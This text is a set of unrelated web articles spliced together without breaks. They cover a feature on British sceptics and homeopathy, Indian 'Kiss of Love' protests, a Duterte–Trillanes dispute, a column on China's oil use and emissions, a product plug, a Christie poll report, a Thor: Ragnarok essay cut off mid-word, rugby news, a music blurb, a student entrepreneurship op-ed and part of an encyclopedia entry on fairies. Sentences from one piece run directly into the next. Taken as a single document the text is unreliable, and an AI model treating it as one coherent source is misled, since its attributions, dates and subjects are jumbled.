In the bar of a Manchester hotel, a pale platoon of anti-homeopaths are getting politely drunk. These are members of the “sceptic” community, a large and swelling movement of activists and thinkers who campaign against people such as Gemma and on behalf of science and reason. They organise in loose “cells” up and down the country, in collectives known as “Sceptics in the Pub”, and gather online to compose irritable and unusually well-footnoted blogs.
This weekend, the sceptics are gathered for the “QED conference” that has been organised by the Merseyside branch of Sceptics in the Pub, led by a 27-year-old marketing executive named Michael “Marsh” Marshall. It will culminate in a mass international homeopathic overdose – a stunt that will seek to demonstrate that, as the campaign’s slogan has it, “there’s nothing in it”.
Invented in 1790 by German physician Samuel Hahnemann (who, like Gemma, had grown disillusioned with conventional medicine), the theory behind homeopathy says that illnesses can be cured by taking minute portions of substances which cause similar symptoms to those which ail you. So, if the bark of a toxic Peruvian tree causes symptoms similar to malaria, say, then a tiny dose of that can cure malaria. In Gemma’s case, her many maladies were, she believes, cured by causticum. When I inquired what causticum was, she said, “Er, you put it down drains”.
The amount of causticum in one of Gemma’s pills is unbelievably small. In fact, if you buy a standard “30C” dose, it means the active ingredient has been diluted 30 times, by a factor of 100. Your chance of getting even one molecule of the original substance in your pill is one in a billion billion billion billion. Imagine a sphere of water that stretches from the Earth to the Sun. That’s how much you’d have to drink to get just one solitary molecule of it.
This is why Marsh’s campaign’s slogan insists that “there’s nothing in it”. Homeopaths deny this, however, saying that when they dilute the substance, they first shake it (or “succuss” it) which “potentises” the water, causing it to somehow remember the active substance.
I accuse Marsh and his sceptics of being curmudgeons. Even if it is expensive water, so what? He responds with the case of an Australian baby, Gloria Thomas, who was diagnosed with eczema aged four months and died five months later after it became infected. Her father, a homeopathy lecturer, insisted on treating Gloria with his diluted remedies rather than conventional medication. When he was imprisoned in 2009, the judge blamed Gloria’s death, in part, on her father’s “arrogant approach” to homeopathy.
“I find cases like that genuinely distressing,” says Marsh. “Homeopathy is magic. It’s 18th-century magic. That’s what we’re trying to get across with the overdose. To the people who might wander into Boots with a headache and say ‘Homeopathy – I’ll try that’, we want to say ‘there is no evidence for homeopathy. The science has been done. It simply doesn’t work’.” The day’s final act is sceptic singer George Hrab. I leave the convention hall for bed as he attempts to lead the reluctant sceptics in a sing-a-long: “You won’t believe what a sceptic I am/I can’t believe you believe in that sham…”
Sceptic after sceptic at the QED conference told me the same thing: “There is no evidence for homeopathy”. But this isn’t absolutely true. Dr Alexander Tournier of the Homeopathy Research Institute tells me, “This is very spurious. If you talk to sceptics they will acknowledge, for example, a paper that was published in The Lancet in 2005, which is known as ‘Shang et al’. That included 110 respectable studies of homeopathy [that showed some positive effects]. One-hundred and ten trials! You can’t say that’s nothing.”
Tournier himself became an adherent when he was studying quantum physics at Cambridge University and he became ill with the Epstein Barr virus, a form of chronic fatigue. Homeopathy, he says, cured him. He explains that homeopathy has been available on the NHS since 1948, and that a 2007 study found that six million Britons were users and it was increasing at a rate of around 20 per cent a year. “There’s also a big tradition of homeopathic hospitals, like the one in London.” He means the Royal Homeopathic Hospital, founded in 1849 and renamed “The Royal London Hospital for Integrated Medicine”. It offers complementary treatments, including homeopathy, alongside conventional medicine.
One GP I speak to admits to an “establishment bias” around homeopathy, but approves of its undeniably powerful placebo effect – “even prescription by a doctor has one,” he says. Ultimately, though, he believes “the balance of evidence isn’t overwhelming enough yet” for him to use it.
I contacted Dana Ullman, a homeopath who has become the industry’s chief defender in the US, to find out what he makes of the sceptics. (One had described him to me as “despicable”.) “Some of them are big pharma shills [stooges], others are just misinformed,” says Ullman, on the phone from Berkeley, California.
I ask Ullman about the Lancet paper mentioned by Tournier. A team from the University of Berne in Switzerland, led by one Professor Aijing Shang, sought to finally answer the question of whether or not homeopathy works by doing a meta analysis, which essentially blends the results of lots of studies in an attempt to find The Ultimate Answer. The resulting paper has since become iconic.
The team started by looking for studies of homeopathy that took into account the placebo effect – which is acknowledged by all as being remarkably powerful and can skew the results of any medical trial. Shang’s team ended up with 110 studies that looked at homeopathy’s effect on an array of medical conditions. They matched these with studies, looking at the same conditions, except using conventional medication. First, they analysed both sets of papers separately. They found that both conventional medicine and homeopathy showed a positive effect above placebo. Simply put, they both worked. Next, they looked at the quality of the studies. They found that the better the study was, the worse the result for homeopathy. Finally, they isolated eight studies which were of the very highest quality.
They concluded that evidence for homeopathy was “weak” and “compatible with the notion that the clinical effects of homoeopathy are placebo effects”. Shang et al essentially found that the better the study was, the more likely it was to show that homeopathy is no better than a placebo. It was published alongside an editorial headlined: “The End of Homeopathy”.
“Ha, ha, ha!” says Ullman, down the phone. “I laugh at sceptics who use Shang as their firmest body of evidence.” Ullman says that several studies showing strong effects for homeopathy were ignored by Shang et al for mysterious reasons. He says that a subsequent study of Shang accused them of “post hoc analysis” – gathering evidence and then deviously working out a way to prove homeopathy wrong.
He says that some of the studies included were not intended to show if homeopathy worked in the first place. Rather, they were exploratory “pilot studies”, carried out to test the design of a proposed full study. And yet negative results for pilot studies were taken by Shang to be conclusive.
Finally, Ullman disputes Shang’s assertion that a larger study will be of higher quality. He says that this ignores the basic principles of homeopathy. When you visit a homeopath, they talk for an hour and consider all sorts of apparently unrelated facts before deciding what to dispense. Ullman says this process of “individuation” means that small studies are more accurate, because these are more likely to be the ones in which the homeopath took the time to dispense an appropriate remedy.
When I list these complaints to Andy Lewis, author of the popular sceptical blog The Quackometer, he gives an amused yet sorrowful sigh. But of Ullman’s complaint that exploratory “pilot” studies were included, Andy admits: “Yes, the vast majority of homeopathy studies would be pilot studies. I don’t think the inclusion criteria took that into account.” Would he go so far as to say Ullman has a point? “Dana’s always wrong. So, no. I wouldn’t go that far.”
It took me a while to understand what I now hold to be the truth about homeopathy. I was in the thicket of Shang, trying to carefully understand everything Ullman was telling me, when I suddenly thought: if homeopathy worked, shouldn’t it be more obvious? If it really did have the power to cure a cancer as advanced as Gemma’s then wouldn’t we see, in study after study, significant wins for the homeopaths? Science moves forward by consensus. Unlikely claims backed up by marginal results cannot and should not lead to a change in establishment opinions.
And yet the sceptics are wrong when they say there’s “no evidence” for homeopathy. There is evidence. But there’s much better evidence that says it doesn’t work.
For me, it seems clear that Gemma’s recovery is a mystery. But her story does show that, for us fallible humans, personal experience will always trump the dry analyses of science. Indeed, as Gemma walked me to her door at the end of that afternoon, I asked her one final question.
If God sat you down and said, “homeopathy is nonsense”, would she believe him?
She answered in an instant. “No.”
Follow SEVEN magazine on Twitter: @TelegraphSevenWill Delhiites be a more daring to kiss and show it? Kiss Of Love, a Facebook campaign, will be held in the national capital on Saturday after a lukewarm response to the event in Kochi, Kolkata, Hyderabad and Mumbai.
According to the movement's Facebook page, the event outside the office of the Rashtriya Swayamsevak Sangh (RSS) in Jhandewalan near the Metro station will display "embraces, holds and kisses".
"Come embrace, hold, shake hands, give high fives... and Kiss. They take away our cafes, our pubs, our parks, our galis and mohallas and tell us this is no place to kiss. Let's go to Jhandewala where the grand office of Rashtriya Swayam Sangh is located and register our protest," said a post on Facebook.
Pankhuri Zaheer and two Jawaharlal Nehru University (JNU) students Sumitran Basu and Pratik are organising the Delhi chapter of the event.
The organisers say they selected the venue near the RSS office because the right wing group has been denying them public spaces to express their affection.
Out of the 8,500 people invited to the event, at least 1,100 people have confirmed their participation on the campaign's Facebook page.
The movement began when activists from all over Kerala decided to protest against alleged moral policing by right-wing groups by organising a mass-kissing campaign on November 2.
The campaign was launched on social media after a coffee shop in north Kerala's Kozhikode city was vandalised by a group of people who criticised the public display of affection by some couples there.
The attack came after a news channel owned by a political party carried a report on October 23 with visuals of "immoral activities" allegedly taking place at the establishment, showing young couples kissing and embracing.
The much-hyped campaign fizzled out after the police rounded up 50-odd activists, who were planning to march towards Kochi's Marine Drive, the venue of the event.
The event which saw a very few participants in Kolkata and Mumbai passed off peacefully. In Hyderabad, pro-Hindu groups tried to stop the protestors. The city police also registered cases against the participants in the event.
First Published: Nov 08, 2014 12:55 ISTMANILA, Philippines — President Rodrigo Duterte’s daughter has set two conditions for Sen. Antonio Trillanes IV before the first family issues bank waivers: the lawmaker must prove that the bank records he has against the Dutertes are authentic and reveal the source of the documents.
“Sinabi ko na kung gusto niya ng waiver, ibibigay namin ang waiver sa kanya, sabihin niya muna kung totoo ‘yong listahan niya at kung totoo ang listahan niya sino ang source ng listahan niya,” said Davao City Mayor Sara Duterte-Carpio in a recent interview.
[I already said that if he wants the waiver, we will give the waiver to him but he has to say first whether his list is true and if it is, he has to tell us who is the source of the list.]
But the mayor doubted the senator could fulfill the conditions because “he is lying.”
“Magsabi ka kung nagsisinungaling ka o hindi. Sinungaling kasi,” she said.
Last month, Trillanes signed waivers for the bank accounts being linked to him and allowed government investigators to look into them. He then dared the President to do the same.
Days before last year’s national elections, Trillanes, then a vice presidential bet, filed a plunder complaint before the Office of the Ombudsman against then presidential candidate Duterte, alleging that he had P2.4 billion worth of bank transactions.
Trillanes claimed Duterte could have amassed his alleged hidden wealth from hiring thousands of Davao City ghost employees.
He cited in his complaint the Commission on Audit’s 2015 report that there were 11,246 contractual workers in 2014, who were paid a total of P708 million and assigned to the office of the Davao mayor. The COA raised concern over the absence of documents proving that the said workers were actually performing their jobs.
After Duterte ordered the Anti-Money Laundering Council last February to produce records showing his net worth, Trillanes asked the AMLC to release the same but it rejected the senator’s request.
In its March 29, 2017 letter to Trillanes, the AMLC said Duterte’s verbal order was not enough for the council to release the President’s financial records.
“Without an authorized bank inquiry, the AMLC is in no position to have in its possession the bank records of, or to disclose, the bank transactions of anyone,” said AMLC officer-in-charge Mel Georgie Racela.Even now, China accounts for about only 9 percent of the world’s demand for oil. But because China’s oil demand has been rising along with its economy, in recent years China has been responsible for about a third of the growth in world oil consumption.
As a result, oil at $100 a barrel is, in large part, a made-in-China phenomenon.
Speaking of made in China, that brings us to a second issue. There’s growing concern in this country about the effects of globalization on wages, largely because imports of manufactured goods from low-wage countries have surged, doubling as a share of G.D.P. since 1993. And more than half of that rise reflects the explosive growth of U.S. industrial imports from China, which went from less than 0.5 percent of G.D.P. in 1993 to more than 2 percent in 2006.
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Last, but most important, is the issue of climate change, which will eventually be recognized as the most crucial problem facing America and the world — maybe not today, and maybe not tomorrow, but soon, and for the rest of our lives.
Why is climate change a China issue? Well, China is already, by some estimates, the world’s largest emitter of greenhouse gases. And as with oil demand, China plays a disproportionate role in emissions growth. In fact, between 2000 and 2005 China accounted for more than half the increase in the world’s emissions of carbon dioxide.
What this means is that any attempt to mitigate global warming will be woefully inadequate unless it includes China.
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Indeed, back in 2001, when he reneged on his campaign promise to limit greenhouse gas emissions, President Bush cited the fact that the Kyoto treaty didn’t include China and India as an excuse for doing nothing. But the real problem is how to make China part of the solution.
So what does all this tell us about the presidential race?
On the Republican side, foreign policy talk is all bluster and braggadocio. To listen to the G.O.P. candidates, you’d think it was still February 2003, when the national discourse was dominated by people who thought that American military might was sufficient to shock and awe the rest of the world into doing our bidding.
Memo: China has 50 times the population of Iraq.
The Democrats in general make far more sense. But among at least some of Barack Obama’s supporters there seems to be a belief that if their candidate is elected, the world’s problems will melt away in the face of his multicultural charisma.
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Memo: It won’t work on the Chinese.
The truth is that China is too big to be bullied, and the Chinese are too cynical to be charmed. But while they are our competitors in important respects, they’re not our enemies, and they can be dealt with.
A lot of Americans, when they think about the next president’s foreign-policy qualifications, seem to be looking for a hero — someone who will stand tall against terrorists, or transform the world with his optimism.
But what they should be looking for is something more prosaic — a good negotiator, someone who can bargain effectively with some very tough customers and get the deals we need on energy, currency policy and carbon credits.Purchasing sandwich bags constantly tends to get a little out of hand, you always feel like you’re using way too many baggies for your kids school lunches only to have them get thrown into the garbage at school. The cycle goes on and on until you’ve purchased what feels like 400 boxes of sandwich and snack baggies throughout the year. Wouldn’t it be so much fun to have sandwich bags with fun designs and pictures on them? Sandwich bags that you can use over and over again without worrying about them falling apart! Definitely check out Russbe and their super awesome sandwich and snack bags!
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RelatedThe damage is sinking in. After weeks of scandals and revelations, New Jersey Gov. Chris Christie’s favorability rating has plummeted.
A Rutgers/Eagleton poll released Wednesday found the Republican governor’s favorability rating has fallen to 46%, down 22 points from just before his reelection.
The governor who enjoyed sky-high favorability and approval ratings after Hurricane Sandy has been embroiled for weeks by allegations and investigations of wrongdoing and abuse of power.
His approval rating dropped slightly after news broke that allegations of his staff orchestrating a traffic jam in Fort Lee, N.J. as political attribution—allegations he mocked in an abrasive press conference—were true. Now, after several weeks of additional allegations, like the ones from Hoboken Mayor Dawn Zimmer who told MSNBC’s Steve Kornacki that the governor’s office had withheld Sandy relief funds in an attempt to get her to support a city development project the governor favored, the numbers are tanking even more.
Democrats have lost faith in the governor the most, followed by independents, while Republicans are mostly sticking by their embattled governor.
It’s a big blow to the governor many say had promise on a national stage, particularly because of his appeal to independents and Democratic voters.
Christie’s approval rating is down, too—15 points since November, when he handily won reelection—but he still has a majority of voters’ support, 53%.
Unsurprisingly, the group that disapproves of Christie the most? Commuters who use the George Washington Bridge at least once a week. Just 34% of commuters on the bridge favor the governor.Thor, pioneer?
It would probably be hyperbolic to say the 13 existing movies in the Marvel Cinematic Universe are an aesthetically indistinguishable mush. But let’s be honest: It’s not that hyperbolic. As I’ve argued before, that baker’s dozen of hit flicks have turned the global entertainment economy on its ear in no small part because they’ve found a winning aesthetic and, more often than not, stuck with it. The MCU is largely about tales of noble-but-flawed misfits in brightly colored outfits tossing out quips with audience-surrogate sidekicks while combatting megalomaniacal baddies. The movies make eye contact with us while cracking a little half-grin in the sunlight and putting their dukes up playfully.
Taika Waititi wants to surprise us. The Kiwi director is helming next year’s Thor: Ragnarok, and though it’s the third installment in the Thor sub-franchise, Waititi has made it clear that he wants it to feel sui generis. “I made an effort to ignore the fact there are other Thor films,” he declared in a Reddit AMA this weekend. “You can expect a Taika-esque tone,” he added. Astoundingly, he even admitted that he’s never seen Captain America: The Winter Soldier, the film that’s often regarded as the MCU’s peak. “They’ve been very accepting of my style,” he said.
Nearly a decade into Marvel’s box-office ascendancy, one is tempted to respond to claims like that with a rolled pair of eyes and a hearty, Yeah, good luck with that. The collective enterprise has been something of a return to the Old Hollywood studio system, where directors’ unique flourishes are only possible in the margins of a given film. A certain degree of homogeneity is the order of the day, so as to make sure a moviegoer can ease into their seat with the comforting knowledge that they’ll mostly get what they expected to see.
Sure, Guardians of the Galaxy might have been slightly funnier and more visually abstract than Captain America: Civil War, but you don’t walk out of either going, “Jesus, that was depressing” or “Wow, what a cool idea it was to include a dream ballet!” Indeed, after the notorious departure of Edgar Wright from Ant-Man, rumors have swirled that the director clashed with Marvel over how much of his personal stamp he could put on the film.
And yet, there’s reason to be hopeful that Ragnarok might live up to Waititi’s promise that it will stand on its own. Key here is the fact that Kevin Feige and his fellow chieftains at Marvel Studios would be unlikely to face significant audience backlash if they abandoned the previous approach to Thor stories. The other characters in the MCU who’ve gotten their own lines of films have created successful aesthetic formulas that have drawn devoted fanbases: The Iron Man movies are obsessed with technicolor rainbows and rock-and roll-refrains; the Captain America trilogy traffics in muted palettes and earnest tales of American ideals clashing with a challenging world. It would feel profoundly weird to do a sequel to either one that went for opulent psychedelia, or featured a cast of exotic freaks.
The Thor line, by contrast, hasn’t exactly caught the world by storm. To be fair, the Thor-Loki relationship sparked a wildfire of fan enthusiasm (just take a look at the “Loki/Thor” tag on fanfiction trove Archive of Our Own). But while folks love Cap’s Sam Wilson and Iron Man’s Pepper Potts, I challenge you to find more than a few people with deep emotional attachments to, say, Thor’s Fandral or Darcy Lewis. The stories in those movies were incredibly boilerplate, even by Marvel standards: In the first, treachery gets Thor ex |
Radradra is unhappy at Parramatta and is eyeing a move abroad for a big-money rugby union deal in Europe.
French club Bordeax has been strongly linked to the Eels sensation.
Gasnier said he hoped Radradra would return but said the player’s management had “a lot to answer for” if rumours the Kangaroos winger had quit the club were true.
“If that’s the case and it’s not the personal issues, then I’ll reiterate what I said yesterday, it’s poor form,” Gasnier said.
“There is a way to go about things and walking out isn’t the first one.
“If they’re (the player and the club) further down the track in negotiations and there’s a lot of things we don’t know and it got to the point where he thought it was the best way forward, which I don’t see how, then so be it.
“But I think his management’s got a lot to answer for too.
“At the end of the day you’re not the one negotiating with the clubs, you’re probably getting driven by advice from (your management).
“You wonder what he’s being told.”
The writer is on Twitter @glover—benny
Download the new FOX SPORTS App to get the latest news and scores from your NRL team.After releasing his project.Wav Theory, getting love from Kanye West, and going on tour with Tory Lanez, Towkio is ready to make a significant push forward with his career. We finally got a taste of what Chicago rapper Towkio‘s debut album, WWW, will look like. Yesterday, the versatile artist paid homage to The Fast and the Furious franchise by letting loose his newest video and track, “Drift.” Directed by Towkio and Todd Burr, it’s jam packed with intense burnouts and gorgeous shots of locations like the Mexico City pyramids. Towkio also shows some smooth dance choreography that makes this one a must see. Check out the video for “Drift” above, and stay tuned for his upcoming album WWW.
Find Towkio on: Facebook | Soundcloud | Twitter | Instagram | Youtube | Website
Photo via InstagramBy Alex Schiff and Chase Lee, University of Michigan
Over the past decade, the financial barriers to starting a web-centric business have plummeted, and technical developments, fueled by open-source technology, have made once unprofitable ideas extremely lucrative. Combined with the rising information economy, this has spurred a wave of entrepreneurship across America—one that won’t be stopped, bubble or not.
Despite the promise of such innovation, many structural challenges threaten to halt its pace. The legal barriers to entrepreneurship keep it out of reach for wide segments of society, our crippling educational infrastructure is failing to turn students into leaders, and our leaders in Washington continue to favor demagoguery over pragmatic solutions.
Policymakers can and must solve these problems. The old pro-business paradigm of encouraging growth through favorable policies to large corporations will not create a sustainable recovery. We can and must turn entrepreneurship into the economic engine this country desperately needs.
Lower the legal barriers to entry.
The legal bill associated with creating a viable business is often quite steep. This is especially true for student entrepreneurs, who don’t have a few thousand dollars of disposable income in the bank. That cost scares a lot of good ideas away.
You can often avoid some fees here and there by digging for forms online, but that shouldn’t even be necessary. Even when going through a law firm, the vast majority of founding documents are simply copy-and-paste, so why do they cost so much? Standard forms and templates for documents like operating agreements, equity/option grants, etc. should be made freely available and easily accessible by the states, or even better standardized on a national level. Lawyers are specialists, and as such, they should be engaged for specializing agreements and documents tailored to the needs of the industry or business. The government could instantly turn more ideas into businesses if it made the real legal cost of starting up free or at least nominal. It need not be in the business of providing legal services or grants, but standardizing forms and leaving the customization to the lawyers would take down one major roadblock.
There is also the thorny issue of securities and tax law. This is one giant black box that turns the most universal of startup and general business issues into a massive headache, requiring precious time and money on expensive outside counsel to find a solution. Sample documents and clear, concise guidance for basic issues like granting equity to early employees or what sort of taxes you can expect in the first year of business would go a long way. It would make it far easier for people to bootstrap an idea without playing the Russian Roulette that is pursuing institutional financing. Entrepreneurs should pursue angels or VCs because they want their capital and connections to grow, not just so they can afford to pay their accountant and lawyer for basic business functions.
For too long startups and small businesses have been confused with large corporations. Small businesses are the ones creating jobs, yet they are often taxed just the same as a large business (without the ability to enlist a top-notch accountant to find loopholes). By removing tax barriers for small businesses we can help them reinvest profits in innovation and job creation. Tech startups in particular can face difficult changes rather quickly as their growth rate is not the same as a brick and mortar business, so half of their team could quickly become accountants and lawyers.
Overhaul our educational system.
Our educational system produced the leaders who went on to turn this nation into a world superpower, but today there is no escaping its failure to keep pace with our new economy and the rest of the world. This is a problem of both funding and management as well as the overall approach we take to teaching new material.
Schools have long been squeezed by budget cuts. First the line was “we need to cut the fat.” Then, it was “we all need to make sacrifices.” But at some point, we began cutting into the real meat of our educational infrastructure. If we want to encourage young entrepreneurs, we need to ensure that we are providing the funding to teach students how to be leaders, solve problems and achieve goals. This can not be done without the adequate teaching personnel and diverse extra-curricular activities that are being axed every budget season.
But it’s not all about the funding. We need to look at the way we’re teaching people and who those teachers are. Think about how backwards your educational experience has been. In elementary school, teachers emphasize all sorts of creative projects, field trips and hands-on learning to convey new concepts. No one is asserting that we should be playing with macaroni until we’re 18, but why does the educational innovation stop when you enter middle school?
The impact of the No Child Left Behind Act (NCLB) is still far from set in stone, but one thing is for certain— t placed a new and enormous emphasis on standardized testing. Since kids are all cookie-cutter humanoids, this worked out perfectly…except for the fact that kids aren’t all cookie-cutter humanoids. In reality, our culture’s emphasis on standardization and testing began to elevate fact memorization over understanding processes and concepts (in other words, actually learning and internalizing the material). We’ve begun to train our children to be excellent fact-spewing robots that can regurgitate a textbook for an exam but forget everything after it’s over. This problem exists from elementary school through PhD programs, and teachers rarely consider changing their fundamental methods of teaching.
We need “new” programs where students are allowed and encouraged to work independently at their own pace (“new” because many programs existed but were cut after schools realized NCLB merely required the bare minimum, offering no incentives or requirements for gifted and talented programs). With oversight, such programs can be very effective as slower learners are afforded the necessary time to absorb material and faster learners are given the freedom to blaze their own trail and go beyond the bounds of an average classroom education.
In this way, students begin learning for themselves, and intrinsic motivation is much more powerful than an arbitrary letter grade. We need more flexible criteria and evaluation metrics that measure what you understand, not what you can memorize. This means getting students more actively engaged in the classroom with investigative group projects that require greater creativity than a fill-in-the-blank worksheet. These projects help prepare them for the real world—where there is no standard assignment except “get the job done.” That’s how entrepreneurs operate, and we should be teaching the nation’s youth to do the same.
Government, please start acting like adults.
If we ran our business with the same sort of bickering and immaturity that is endemic to the U.S. Congress, (and that goes for both sides of the aisle), it would fail. Immediately. This month, we narrowly averted defaulting on our debt for the first time in history. Whether you lean left (like Alex) or right (like Chase), we can all agree that these sorts of manufactured crises do our country a lot more harm than good.
We find ourselves starting a company in spite of the political landscape. The fact that we as 20-year-olds can work out our differences better than seasoned negotiators is pathetic at best and dangerous at worst. Gridlock is not good for society or business. Not knowing what the rules will be in two years keeps hiring at bay and ideas on the sidelines. With smaller payrolls and more flexible business models, it is not the content of reform that halts innovation and entrepreneurial hiring—it is the protracted uncertainty surrounding politically-charged industries like health care, financial services and energy.
Lastly, take entrepreneurship seriously. All we hear is “small businesses create the most jobs” and “we need to encourage innovation.” But if small businesses have generated 64 percent of new jobs over the past 15 years, we need real entrepreneurs advising our government on how to make job creation easier, not more CEOs of gigantic corporations. Moreover, after health care reform, financial regulation reform and all sorts of other major legislative undertakings, there has yet to be a serious effort of equivalent scale to make it easier to start a business in this country. Give initiatives like the Startup America Partnership the same political weight that the Affordable Care Act had, and we’ll go a long way.
If the government ever wants to do anything more than pay lip service to entrepreneurship, it must get serious about these three issues. At every defining moment in our nation’s history, we have succeeded only by mobilizing a unified, dedicated and comprehensive effort to solve the problems that lay before us. We still think that can happen. Politicians, please don’t let us down.
Alex Schiff and Chase Lee are the co-founders of Fetchnotes. Alex is also a co-founder of The New Student Union.
Advertisements"Fairies" redirects here. For other uses, see Fairy (disambiguation)
"Fay" redirects here. For other uses, see Fay (disambiguation)
"Feary" redirects here. For the surname, see Feary (surname)
Fairy Take the Fair Face of Woman, and Gently Suspending, With Butterflies, Flowers, and Jewels Attending, Thus Your Fairy is Made of Most Beautiful Things – purportedly from a poem by Charles Ede. A portrait of a fairy, by Sophie Gengembre Anderson (1869). The title of the painting is– purportedly from a poem by Charles Ede. Grouping Legendary creature
Pixie
Sprite
Tuatha Dé Danann Region Europe
A fairy (also fata, fay, fey,[1] fae, fair folk; from faery, faerie, "realm of the fays") is a type of mythical being or legendary creature in European folklore (and particularly Celtic, Slavic, German, English, and French folklore), a form of spirit, often described as metaphysical, supernatural, or preternatural.
Myths and stories about fairies do not have a single origin, but are rather a collection of folk beliefs from disparate sources. Various folk theories about the origins of fairies include casting them as either demoted angels or demons in a Christian tradition, as minor deities in pre-Christian Pagan belief systems, as spirits of the dead, as prehistoric precursors to humans, or as elementals.
The label of fairy has at times applied only to specific magical creatures with human appearance, small stature, magical powers, and a penchant for trickery. At other times it has been used to describe any magical creature, such as goblins and gnomes. Fairy has at times been used as an adjective, with a meaning equivalent to "enchanted" or "magical".
A recurring motif of legends about fairies is the need to ward off fairies using protective charms. Common examples of such charms include church bells, wearing clothing inside out, four-leaf clover, and food. Fairies were also sometimes thought to haunt specific locations, and to lead travelers astray using will-o'-the-wisps. Before the advent of modern medicine, fairies were often blamed for sickness, particularly tuberculosis and birth deformities.
In addition to their folkloric origins, fairies were a common feature of Renaissance literature and Romantic art, and were especially popular in the United Kingdom during the Victorian and Edwardian eras. The Celtic Revival also saw fairies established as a canonical part of Celtic cultural heritage.
Etymology
The English fairy derives from Old French form faierie, a derivation from faie (from Vulgar Latin fata) with the abstract noun suffix -erie. In Old French romance, a faie or fee was a woman skilled in magic, and who knew the power and virtue of words, of stones, and of herbs.[2]
"Fairy" was used to represent: an illusion or enchantment; the land of the Faes; collectively the inhabitants thereof; an individual such as a fairy knight.[2] Faie became Modern English fay, while faierie became fairy, but this spelling almost exclusively refers to one individual (the same meaning as fay). In the sense of "land where fairies dwell", archaic spellings faery and faerie are still in use.
Latinate fay is not related the (Germanic) fey, meaning "fated to die",[3] but some dictionaries do list "fey" as a kind of fairy.[4]
Various folklore traditions refer to fairies euphemistically as wee folk, good folk, people of peace, fair folk (Welsh: Tylwyth Teg), etc.[5]
Historical development
The term fairy is sometimes used to describe any magical creature, including goblins and gnomes, while at other times, the term describes only a specific type of ethereal creature or sprite.[6] The concept of "fairy" in the narrower sense is unique to English folklore, later made diminutive in accordance with prevailing tastes of the Victorian era, as in "fairy tales" for children.
Historical origins include various traditions of Celtics (Bretons, Welsh people), Gaelics (Irish, Scots), Germanic peoples, and of Middle French medieval romances. Fairie was used adjectivally, meaning "enchanted" (as in fairie knight, fairie queene), but also became a generic term for various "enchanted" creatures during the Late Middle English period. Literature of the Elizabethan era conflated elves with the fairies of Romance culture, rendering these terms somewhat interchangeable.
The Victorian era and Edwardian era saw a heightened increase of interest in fairies. The Celtic Revival cast fairies as part of Ireland's cultural heritage. Carole Silvers and others suggested this fascination of English antiquarians arose from a reaction to greater industrialization and loss of older folk ways.[7]
Descriptions
Fairies are generally described as human in appearance and having magical powers. Diminutive fairies of various kinds have been reported through centuries, ranging from quite tiny to the size of a human child.[8] These small sizes could be magically assumed, rather than constant.[9] Some smaller fairies could expand their figures to imitate humans.[10] On Orkney, fairies were described as short in stature, dressed in dark grey, sometimes seen in armour.[11] In some folklore, fairies have green eyes. Some depictions of fairies show them with footwear, others as barefoot. Wings, while common in Victorian and later artworks, are rare in folklore; fairies flew by means of magic, sometimes perched on ragwort stems or the backs of birds.[12] Modern illustrations often include dragonfly or butterfly wings.[13]
Origins
Early modern fairies does not derive from a single origin; the term is a conflation of disparate elements from folk belief sources, influenced by literature and speculation. In folklore of Ireland, the mythic aes sídhe, or 'little folk', have come to a modern meaning somewhat inclusive of fairies. The Scandinavian elves also served as an influence. Folklorists and mythologists have variously depicted fairies as: the unworthy dead, the children of Eve, a kind of demon, a species independent of humans, an older race of humans, and fallen angels.[14] The folkloristic or mythological elements combine Celtic, Germanic and Greco-Roman elements. Folklorists have suggested that 'fairies' arose from various earlier beliefs, which lost currency with the advent of Christianity.[15] These disparate explanations are not necessarily incompatible, as 'fairies' may be traced to multiple sources.
Christian mythology
Daemonologie Title page of a 1603 reprinting of
King James, in his dissertation Daemonologie, stated the term "faries" referred to illusory spirits (demonic entities) that prophesied to, consorted with, and transported the individuals they served; in medieval times, a witch or sorcerer who had a compact with a familiar spirit might receive these services.[16]
Demoted angels
A Christian tenet held that fairies were a class of "demoted" angels.[17] One story described a group of angels revolting, and God ordering the gates of heaven shut; those still in heaven remained angels, those in hell became demons, and those caught in between became fairies.[18] Others wrote that some angels, not being godly enough, yet not evil enough for hell, were thrown out of heaven.[19] This concept may explain the tradition of paying a "teind" or tithe to hell; as fallen angels, although not quite devils, they could be viewed as subjects of Satan.[20]
In England's Theosophist circles of the 19th century, a belief in the "angelic" nature of fairies was reported.[21] Entities referred to as Devas were said to guide many processes of nature, such as evolution of organisms, growth of plants, etc., many of which resided inside the Sun (Solar Angels). The more Earthbound Devas included nature spirits, elementals, and fairies,[22] which were described as appearing in the form of colored flames, roughly the size of a human.[23]
Arthur Conan Doyle, in his The Coming of the Fairies; The Theosophic View of Fairies, reported that eminent theosophist E. L. Gardner had likened fairies to butterflies, whose function was to provide an essential link between the energy of the sun and the plants of Earth, describing them as having no clean-cut shape... small, hazy, and somewhat luminous clouds of colour with a brighter spark-like nucleus. "That growth of a plant which we regard as the customary and inevitable result of associating the three factors of sun, seed, and soil would never take place if the fairy builders were absent."[24]
For a similar concept in Persian mythology, see Peri.
Demoted pagan deities
At one time it was thought that fairies were originally worshiped as minor deities, such as nymphs and tree spirits,[25] and with the burgeoning predominance of the Christian Church, reverence for these deities carried on, but in a dwindling state of perceived power. Many deprecated deities of older folklore and myth were repurposed as fairies in Victorian fiction (See the works of W. B. Yeats for examples).
Fairies as demons
A recorded Christian belief of the 17th century cast all fairies as demons.[26] This perspective grew more popular with the rise of Puritanism among the Reformed Church of England (See: Anglicanism).[27] The hobgoblin, once a friendly household spirit, became classed as wicked goblin.[28] Dealing with fairies was considered a form of witchcraft, and punished as such.[29] In William Shakespeare's A Midsummer Night's Dream, Oberon, king of the faeries, states that neither he nor his court fear the church bells, which the renowned author and Christian apologist C. S. Lewis cast as a politic disassociation from faeries.[30] In an era of intellectual and religious upheaval, some Victorian reappraisals of mythology cast deities in general as metaphors for natural events,[31] which was later refuted by other authors (See: The Triumph of the Moon, by Ronald Hutton). This contentious environment of thought contributed to the modern meaning of 'fairies'.
Spirits of the dead
One belief held that fairies were spirits of the dead [32]. This derived from many factors in common of various folklore and myths: same or similar tales of both ghosts and fairies; the Irish sídhe, origin of their term for fairies, were ancient burial mounds; deemed dangerous to eat food in Fairyland and Hades; the dead and fairies depicted as living underground.[33] Diane Purkiss observed an equating of fairies with the untimely dead who left "unfinished lives".[34] One tale recounted a man caught by the fairies, who found that whenever he looked steadily at a fairy, it appeared as a dead neighbor of his.[35] This theory was among the more common traditions related, although many informants also expressed doubts.[36]
A hidden people
The Wonderful Fairies of the Sun 1896 illustration of a fairy from Ernest Vincent Wright's
